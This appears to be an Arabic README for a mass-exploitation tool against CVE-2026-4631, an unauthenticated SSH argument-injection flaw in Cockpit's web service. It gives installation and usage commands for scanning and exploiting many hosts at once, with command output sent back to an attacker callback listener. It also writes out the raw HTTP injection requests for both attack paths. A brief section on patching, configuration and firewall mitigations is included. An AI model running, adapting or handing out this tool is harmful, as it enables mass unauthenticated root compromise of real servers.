تنفيذ التعليمات البرمجية عن بُعد غير مصادق عليه عبر حقن وسيط سطر أوامر SSH Cockpit الإصدارات 327 – 359 | CVSS 9.8 Critical | CWE-78
تنفيذ أوامر عن بُعد غير مصدق عبر حقن وسيط سطر أوامر SSH إصدارات Cockpit 327 – 359 | CVSS 9.8 حرج | CWE-78
أداة استغلال جماعي لـ CVE-2026-4631 على خدمة الويب Cockpit (cockpit-ws، المنفذ 9090). تدعم وضع فحص الثغرات، وضع RCE مع التقاط مخرجات الأوامر عبر مستمع رد اتصال HTTP مدمج، وضع --auto (فحص واستغلال دفعة واحدة مع الأمر الافتراضي id)، إضافة المنفذ :9090 تلقائيًا للأهداف بدون منفذ، كلا متجهي الهجوم (ProxyCommand + حقن اسم المستخدم %r)، أهداف جماعية من ملف، معالجة متزامنة، ومخرجات نتائج منظمة.
المؤلف: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
حرر targets.txt — مضيف واحد لكل سطر. سيتم إضافة المنفذ :9090 تلقائيًا إذا لم يكن موجودًا:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# فحص + استغلال دفعة واحدة، الأمر الافتراضي "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# مثال على الإخراج في results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# فحص الثغرات فقط (بدون استغلال)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE صريح بأمر مخصص
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# هدف واحد
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 هو RCE أعمى — لا تعود مخرجات الأوامر في استجابة HTTP. تستخدم الأداة مستمع HTTP مدمج (المنفذ الافتراضي 8888) لالتقاط المخرجات. تأكد من:
--callback-ip هو عنوان IP يمكن للهدف الوصول إليه (ليس 127.0.0.1)8888 (أو --listener-port المخصص)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# التحقق من الإصدار (يجب أن يكون >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
حرر /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
أعد تشغيل الخدمة:
sudo systemctl restart cockpit
اقتصر المنفذ 9090 على شبكة الإدارة فقط:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
يخفف من Vector 1 (حقن ProxyCommand) عبر التحقق المبكر من اسم المضيف:
ssh -V # يجب أن يكون OpenSSH_9.6 أو أحدث
إذا لم تتمكن من الترقية إلى 360، طبق التصحيح:
-- في beiboot.py وcockpitauth.c-- في session.pyتفاصيل التصحيح: انظر docs/PATCH_ANALYSIS.md
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| الخطورة | حرج (CVSS 9.8) |
| CWE | CWE-78 — حقن أوامر نظام التشغيل |
| المتأثر | Cockpit 327 – 359 |
| تم الإصلاح في | Cockpit 360+ |
| المصادقة المطلوبة | لا (قبل المصادقة) |
| المبلغ | Jelle van der Waa |
| الخدمة | cockpit-ws، المنفذ الافتراضي 9090 |
استبدل Cockpit v327 cockpit-ssh (libssh) بـ python3 -m cockpit.beiboot الذي يستدعي عميل ssh الخاص بـ OpenSSH. يتم تمرير المدخلات التي يتحكم فيها المستخدم — اسم المضيف من مسار URL واسم المستخدم من رأس Authorization: Basic — إلى أداة ssh بدون تعقيم وبدون فاصل -- لنهاية الخيارات. يحدث الحقن قبل التحقق من بيانات الاعتماد، لذلك لا حاجة لتسجيل دخول صالح.
يتم حقن اسم المضيف من مسار URL مع خيار SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
يقوم SSH بتحليل -oProxyCommand=<cmd> كخيار، وينفذ <cmd> كأمر ProxyCommand. يعمل الأمر كعملية مستخدم cockpit-ws.
المتطلبات: OpenSSH < 9.6 على الهدف. OpenSSH 9.6+ لديه تحقق مبكر من اسم المضيف يمنع الأحرف الخاصة.
%r (الثانوي)يتم حقن اسم المستخدم من رأس Authorization: Basic مع أمر شل.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
يقوم SSH بتوسيع %r باسم المستخدم في توجيه Match exec → تنفيذ الأوامر المحقونة في شل.
المتطلبات: يحتوي ملف ssh_config على الهدف على توجيه Match exec مع رمز %r.
LoginTo) غير معطلةssh_config مع Match exec %r# استنساخ من GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# تثبيت التبعيات
pip install -r requirements.txt
# التحقق
python3 exploit.py --help
requests>=2.31 — عميل HTTP لطلب الاستغلالcolorama>=0.4 — مخرجات طرفية ملونةلا توجد تبعيات إضافية للمستمع (يستخدم stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection